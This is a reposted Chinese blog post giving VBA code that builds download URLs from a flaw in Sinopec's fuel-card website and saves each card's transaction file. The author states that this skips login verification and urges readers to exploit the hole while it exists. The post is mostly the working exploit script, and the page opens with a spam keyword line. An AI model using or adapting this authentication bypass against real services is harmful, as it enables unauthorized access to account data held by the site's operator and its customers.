九色国产,午夜在线视频,新黄色网址,九九色综合,天天做夜夜做久久做狠狠,天天躁夜夜躁狠狠躁2021a,久久不卡一区二区三区

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費(fèi)電子書(shū)等14項(xiàng)超值服

開(kāi)通VIP
網(wǎng)頁(yè)自動(dòng)下載文件并匯總 (VBA)
  

背景:

        公司是中石化鉆石用戶,一個(gè)ID下有近百?gòu)埣佑涂ǎㄤN售人員遍布全國(guó)),每月要求對(duì)所有卡的消費(fèi)記錄進(jìn)行統(tǒng)計(jì)。但是中石化網(wǎng)站查詢只能一張一張卡選擇來(lái)進(jìn)行查詢或下載,并不提供批量下載(這種企業(yè)根本不考慮用戶的感受,強(qiáng)烈鄙視一下)。每月需要花費(fèi)1個(gè)人16個(gè)工時(shí)進(jìn)行手工下載,工時(shí)極大浪費(fèi),必須進(jìn)行自動(dòng)化。

需求:

      通過(guò)VBA進(jìn)行網(wǎng)站數(shù)據(jù)自動(dòng)下載,并進(jìn)行匯總。

目標(biāo):16小時(shí)工作任務(wù),縮短至1分鐘內(nèi)完成

分析:

       通過(guò)目標(biāo)網(wǎng)站http://www.saclub.com.cn/searchGasPumpHist.do進(jìn)行分析,感覺(jué)后臺(tái)通過(guò).net自動(dòng)生成查詢結(jié)果,并存儲(chǔ)為.xls文件供下載。研究了很長(zhǎng)時(shí)間,均無(wú)法取得文件下載的真實(shí)URL。在一個(gè)偶然的情況下發(fā)現(xiàn)了在油卡選項(xiàng)列表框的最后有一條為空的選項(xiàng)(系統(tǒng)漏洞),選擇此項(xiàng)并點(diǎn)擊下載,會(huì)跳轉(zhuǎn)到一個(gè)空頁(yè)面,但是不同的是,瀏覽器地址欄內(nèi)赫然顯示出如下地址:http://www.saclub.com.cn/downloadExcel?flag=gas&startTime=2011-04-06&endTime=2011-07-06&cardId=1000111100XXXXXXXXXXX&customerId=1102000XXXXX。我們看到了通過(guò)向downloadexcel這個(gè)程序傳遞各項(xiàng)參數(shù),就可以獲得一個(gè)名為gas.xls文件,這里引去了本公司的卡號(hào)和ID部分。通過(guò)分析,我們有所啟示,將各項(xiàng)參數(shù)進(jìn)行相應(yīng)的替換,就可以實(shí)現(xiàn)批量下載了。(最重要的一點(diǎn)是,這里可以繞開(kāi)登錄驗(yàn)證而直接下載數(shù)據(jù))

 

實(shí)現(xiàn):核心代碼

Sub 分卡號(hào)數(shù)據(jù)存出文件()
 '目標(biāo):自動(dòng)獲取各卡明細(xì)數(shù)據(jù),并進(jìn)行匯總,目標(biāo)1分鐘以內(nèi)。
 'Program: lwx,wh,wxt
 '核心代碼
 Dim URL As String, unChang_Str01 As String, unChang_Str02 As String, unChang_Str03 As String, unChang_Str04 As String '地址信息中固定不變的各部分
 Dim StartTime_Str As String, endTime_Str As String, CardInfo As String, SaveTo As String '查詢期間信息和分卡號(hào)信息和存放目錄信息
 Dim iCardcell As Range
 Dim xPost As Object, sGet As Object, Y As Object
 
'利用中石化網(wǎng)站漏洞,獲得油卡查詢結(jié)果的下載地址的規(guī)律,可以進(jìn)行地址構(gòu)造----------------------------------
 unChang_Str01 = "http://www.saclub.com.cn/downloadExcel?flag=gas&startTime="                  '.net服務(wù)器端程序 DownloadExcel
 unChang_Str02 = "&endTime="
 unChang_Str03 = "&cardId="
 unChang_Str04 = "&customerId=1102000XXXXX"
 '構(gòu)造出開(kāi)始時(shí)間、結(jié)束時(shí)間、卡號(hào)等信息。其中customerId是通過(guò)漏洞獲得----------------------------------------
 '利用此漏洞可以繞過(guò)登錄驗(yàn)證,直接將所屬客戶所有油卡的信息進(jìn)行下載。

 StartTime_Str = Format([Start].Value, "yyyy-mm-dd")
 endTime_Str = Format([End].Value, "yyyy-mm-dd")
 
 SaveTo = IIf(Right([Path].Value, 1) = "\", Left([Path].Value, Len([Path].Value) - 1), [Path].Value)
 
 If Dir$(SaveTo, 16) = "" Then MkDir SaveTo
 
 For Each iCardcell In Range([G2], [G65536].End(xlUp))
     
    URL = unChang_Str01 & StartTime_Str & unChang_Str02 & endTime_Str & unChang_Str03 & iCardcell.Value & unChang_Str04    '構(gòu)造好URL
    
    Set xPost = CreateObject("Microsoft.XMLHTTP")             '建立一個(gè)http對(duì)象,此處方法建立,省略在引用里添加相應(yīng)項(xiàng)
    xPost.Open "GET", URL, 0
    xPost.Send
    Set sGet = CreateObject("ADODB.Stream")                    'ADO stream 的用法。直接將返回的數(shù)據(jù)存儲(chǔ)為excel文件。
    sGet.Mode = 3
    sGet.Type = 1
    sGet.Open
    sGet.Write (xPost.responseBody)
    sGet.SaveToFile SaveTo & "\" & iCardcell.Value & ".xls", 2
 
 Next iCardcell

end sub

總結(jié):

    什么事兒就怕琢磨,如果網(wǎng)站沒(méi)有漏洞的話,也無(wú)從實(shí)現(xiàn),既然有咱就趕緊利用吧在編寫過(guò)程中還用到了ADO STREAM。感覺(jué)很方便。

最后,強(qiáng)烈鄙視中石化、中石油,油價(jià)天天漲,服務(wù)越來(lái)越差。還有CSDN博客插入代碼的功能真沒(méi)以前那個(gè)好用。

 

以上,構(gòu)造地址列表可以存成.lst文件,直接用迅雷、快車等然見(jiàn)下載,然后在匯總也可實(shí)現(xiàn),缺點(diǎn)在于無(wú)法自定義存儲(chǔ)文件名。

本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)
打開(kāi)APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
幾個(gè)惡心的批處理
批處理下載遠(yuǎn)程文件!!
delphi時(shí)間相減函數(shù)
上傳方法總結(jié)[對(duì)入侵很實(shí)用]
ASP 程序?qū)崿F(xiàn)自動(dòng)升級(jí)功能
[原創(chuàng)]WebShell提權(quán)方法總結(jié)
更多類似文章 >>
生活服務(wù)
熱點(diǎn)新聞
分享 收藏 導(dǎo)長(zhǎng)圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服